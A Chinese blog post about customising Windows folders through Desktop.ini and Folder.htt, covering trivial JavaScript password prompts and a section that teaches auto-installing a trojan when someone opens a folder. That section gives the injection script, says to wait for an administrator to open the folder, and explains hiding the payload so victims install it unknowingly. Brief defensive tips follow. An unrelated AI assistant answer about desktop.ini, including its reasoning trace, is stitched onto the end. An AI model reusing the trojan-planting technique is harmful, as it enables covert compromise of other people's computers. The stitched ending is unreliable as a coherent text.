Desktop.ini文件的一些奇妙用途

本文介绍如何通过修改Folder.htt文件为文件夹设置密码,实现基本的加密保护。此外,还探讨了利用这一特性进行木马安装的可能性及防御措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

您还记得当初大名鼎鼎的"欢乐时光"病毒吗?感染该病毒的硬盘中会有多个Desktop.ini和Folder.htt文件,就算你删除了目录中的这两个文件,当你再次打开该目录时,它们又像幽灵一样出现了。
 

  再问大家一个与此相关的问题:在Windows系统中,重复文件最多的什么呢?答案是Desktop.ini文件!在Windows目录及其下的Favorites、System、Fonts、Tasks文件夹中都有该文件的身影!正是由于该文件的存在,使得它们在外观或其他方面也与普通的文件夹有所区别。下面笔者就谈谈这两个文件的一些奇妙用途。

 

  一、给文件夹加上密码

 

  在学校的机房和校园网络的管理中,是否经常会碰到这样的情况:一些计算机常因学生误删了Windows目录或SYSTEM目录下的一些系统文件而导致无法正常启动。是否有方法可以把Windows及其它重要目录保护起来呢?方法是有的,我们只需在这个Folder.htt文件中进行必要的修改,就可改变文件夹打开的方式。比如,要想在打开该文件夹前先进行安全认证,可这样修改这个Folder.htt。

 

  在C盘的Windows文件夹中找到Folder.htt文件(该文件为隐藏文件,并且后来经过编辑与笔者共同验证,该文件不同的系统内容也不尽相同,本文种主要是Windows 98下的),打开Folder.htt文件。找到以下内容:

<a href=''class=command onclick='ShowFiles(); ShowWinStat(winStat); return false;' onMouseOver='ShowWinStat(!winStat); return true;' onMouseOut='ShowWinStat(winStat); return true;' onFocus='ShowWinStat(!winStat); return true;' onBlur='ShowWinStat(winStat); return true;'>显示文件</a>。";
将其修改为:
<a href=''class=command onclick='ShowFiles(); ShowWinStat(winStat); return false;' onMouseOver='ShowWinStat(!winStat); return true;' onMouseOut='ShowWinStat(winStat); return true;' onFocus='ShowWinStat(!winStat); return true;'

 

onBlur='ShowWinStat(winStat); return true;'>输入密码</a>。";

 

(2)找到function ShowFiles() {
          Info.innerHTML = L_Intro_Text + "<br><br>" + L_Prompt_Text;
          showFiles = true;
          document.all.FileList.style.display = "";
          document.all.Brand.style.display = "none";
          FixSize();
           }
  修改为: ★function ShowFiles()

 

{var password=prompt("请输入密码:","");
if (password=="你的密码"){Info.innerHTML = L_Intro_Text + "<br><br>" + L_Prompt_Text;
showFiles = true;
document.all.FileList.style.display = "";
document.all.Brand.style.display = "none";
FixSize();}
else{alert("警告,密码错误!您无权浏览该目录");}}

 


  (3)保存修改后的Folder.htt文件,退出Windows文件夹。

 

  完成上述操作步骤后,再进入Windows目录时,系统提示输入密码,只有输入正确的密码才能进行该目录。通过修改打开行为的代码,就可实现对某个目录的简单加密

  当然,这种加密目录很容易解开:不使用Web方式打开文件夹,避开执行该程序,或直接从DOS中进入该文件夹都可绕开密码的输入。

  如果你使用的是Windows 2000系统,可以找到

..................
<script language="JavaScript">

  然后在后面加上以下代码:

var pass =prompt("enter the password")
if (pass!="密码")
{window.location="d:"}

  就可以给文件夹加上访问口令!这样你的文件夹就多了一层保护。

  二、任意文件夹和硬盘分区的保护

  根据同样的原理,我们可对任意文件夹及硬盘分区设置保护口今。具体操作步骤如下:

  (1)打开要加密的文件夹或硬盘分区,选择文件菜单中的"查看→自定义文件夹"。

  (2)在打开的"自定义文件夹"窗口中,如图1所示选择"创建或编辑HTML文档",单击"下一步"按钮,再单击"下一步"按钮,关闭记事本编辑窗口,单击"完成"按钮。在当C盘Windows目录下找到Folder.htt文件,把它复制到当前文件夹中,覆盖原来的Folder.htt文件。

  (3)打开Folder.htt文件,找到★var L_Intro_Text= "<b><font color=red>警告</font></b><br><br>修改该文件夹的内容可能导致程序运行不正常。";★(警告内容),将其修改为"自定义的内容"。完成Folder.htt的文件修改后,再进入相应的文件夹或硬盘分区,则需要提供正确口令,否则无法显示该文件夹的内容。



图1

  (一)、利用文件夹安装木马

 

    黑客可以利用文件夹来安装木马,其目的是对方只要打开某个文件夹就自动安装木马文件。知己知彼方能百战不殆,让我们了解一下其原理和方法。



图2

 

1.先在以目录下建立一个文件夹test文件夹,进入刚建的文件夹test点击"工具"菜单选择"文件夹选项"项(图2);出来文件夹选项对话框如图所示(图3),把"隐藏受保护的操作系统文件(推荐)"前面打上"√",接着出现一个警告窗口,如图所示(图4),直接点击"是"。再把"隐藏文件和文件夹"下选择"显示所有文件和文件夹",最后点击确定在本目录下出现了Folder settings隐藏文件夹和Desttop.ini隐藏文件如图所示(图5)。



图3



图4



图5

  2.现在点击"查看"菜单选择"自定义文件夹"项(图6),打开的"自定义文件夹"窗口,选择其中的"创建或编辑HTML文档",单击"下一步"按钮,再单击"下一步"按钮,然后关闭记事本编辑窗口,单击"完成"按钮,就把文件夹设置成按WEB方式打开文件夹。再打开要放木马的文件夹,我们就在这个文件夹里测试。Folder.Htt是文件夹的模板文件,现在我们修改文件夹的模板文件,在里面插入一端自动运行程序的代码:

 

<script language="javascript">
run_exe="<OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject""
run_exe+="CODEBASE="test.exe#version=1,1,1,1">"
run_exe+="<PARAM NAME="_Version" value="65536">"
run_exe+="</OBJECT>"
document.open();
document.clear();
document.writeln(run_exe);

document.close();
</script>



图6

  就是这段里面的test.exe为你要安装的木马文件,这里为了给大家看到效果我运行的是LC4。

  3.现在我们把要运行的test.exe文件也copy到这个文件夹里,好了,我们现在把文件查看属性修改回去,就是步骤1的逆过程。

  4.OK,如果你不想要木马立即运行,请把窗口直接关闭,等管理员来运行吧。让我们来看看效果,退出test文件夹然后双击test文件夹图标,如图所示(图7),怎么样,运行了吧,大家可以把test.exe换成小点的木马,这样对方就在不知道的情况下给自己装了木马。其实大家如果要有什么文件要隐藏的话,就可以放到folder.htt和同目录下,把文件夹属性设置回去以后,用搜索都找不到这个文件。

 



图7

  三、总结

  好了,Folder.htt和Desktop.ini文件的好的应用和需要注意的都讲了,是不是觉得很有意思也很恐怖哦!现在我们说一下防范与解决办法:

  1.查看文件夹时,去掉以"Web页方式"的选项。虽然我们看不见什么个性化目录了,但我们换来是安全,我认为值!但是,也请大家注意,如果不采用"WEB方式"查看文件夹前面介绍过的技巧和应用就不能正常显示了,有得就有失啊。

  2.如果没有什么需要,去掉默认共享和共享目录。要是需要,公共用户也要加上密码,密码只有内部人知道。只要能上传文件,你的机器就很危险。除了上边的方法,还可以用MIME漏洞,ASP漏洞入侵,如果是Windows 98还有共享方法。所以一定要把好关!

  3.脚本病毒的一大特征就是利用WSH。要是服务器最好去掉WSH,这样能低御许多脚本病毒。方法是:在"控制面板"里选择"添加/删除程序",选择"Windows安装程序"里的附件,再选择"详细资料"中的"Windows Scripting Host"把它卸载掉。

from

极速狂飙


<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<think>好的,用户问到了desktop.ini是什么文件。首先,我需要确定用户的基本需求。可能他们在电脑上看到了这个文件,不知道它的作用,或者担心是病毒。 接下来,回顾之前的对话历史,用户之前询问过屏幕闪烁的问题,所以可能对系统文件不太熟悉,属于普通用户,遇到问题会寻求帮助的类型。这时候需要解释清楚desktop.ini的作用,同时消除他们的安全顾虑。 我需要解释这个文件是系统生成的,用于存储文件夹的自定义设置,比如图标、背景等。要强调它不是病毒,但也要提醒如果出现在异常位置可能需要检查。同时,用户可能想知道是否可以删除它,所以要说明删除的影响,比如自定义设置会重置,但系统会自动重建。 另外,用户可能担心这个文件是否隐藏,所以需要提到默认情况下是隐藏的,避免他们误删。还要分情况讨论,正常情况下的位置和异常情况下的可能性,比如在根目录或U盘中出现可能是病毒伪装,这时候需要建议杀毒扫描。 最后,确保回答结构清晰,分点说明,用简单的语言让用户容易理解,同时涵盖作用、安全性、处理建议和注意事项,满足用户的实际需求。</think>以下是关于 `desktop.ini` 文件的详细介绍及常见问题解答: --- ### 一、`desktop.ini` 是什么? - **定义**: `desktop.ini` 是 Windows 系统自动生成的**隐藏配置文件**,用于存储当前文件夹的**自定义显示设置**。 - **作用**: 记录文件夹的个性化属性,例如: - 自定义图标(如“下载”文件夹的箭头图标) - 背景图片或颜色 - 文件夹注释信息 - 特定显示规则(如“图片”文件夹的缩略图模式) --- ### 二、文件特性 1. **隐藏属性**: - 默认情况下,`desktop.ini` 是**隐藏文件**(需在资源管理器中开启“显示隐藏的文件”才能看到)。 - 路径示例: - 用户文件夹:`C:\Users\[用户名]\Desktop\desktop.ini` - 系统文件夹:`C:\Windows\desktop.ini` 2. **文件内容**: - 文本格式,可用记事本打开查看(但**不建议手动修改**)。 - 典型内容示例: ```ini [.ShellClassInfo] IconResource=C:\Windows\System32\imageres.dll,3 ``` --- ### 三、是否可以删除? | **场景** | **建议操作** | |----------------------|-----------------------------------------------------------------------------| | **普通文件夹中** | 可删除,但系统会**自动重建**(删除后文件夹的自定义设置会重置为默认状态)。 | | **系统关键路径中** | 禁止删除(如 `C:\Windows\` 下的文件),否则可能导致系统显示异常。 | | **U盘或异常位置** | 若大量出现且文件内容可疑,可能是病毒伪装,需用杀毒软件扫描。 | --- ### 四、安全性判断 1. **正常情况**: - 仅存在于少数文件夹内(如桌面、库、用户目录)。 - 文件大小通常小于 **1KB**。 2. **异常信号**: - 在磁盘根目录(如 `D:\`)或大量文件夹中出现。 - 文件内容包含可疑代码(如 `exec`、`virus` 等关键字)。 - 文件属性**未隐藏**且无法删除(可能被病毒占用)。 --- ### 五、遇到问题的处理方法 1. **误删导致显示异常**: - 右键文件夹 → 属性 → 自定义 → 还原默认设置。 2. **疑似病毒伪装**: - 使用 `Win+R` 打开运行窗口 → 输入 `attrib -h -s desktop.ini` → 强制取消隐藏属性后删除。 - 运行 `Windows Defender` 或第三方杀毒软件全盘扫描。 --- ### 总结 - `desktop.ini` 是 Windows 系统的合法配置文件,**无需恐慌**。 - 保持系统隐藏文件默认不显示(路径:资源管理器 → 查看 → 取消勾选“隐藏的项目”),可避免误操作。 - 若在非常见位置频繁发现此文件,建议备份数据并检查系统安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值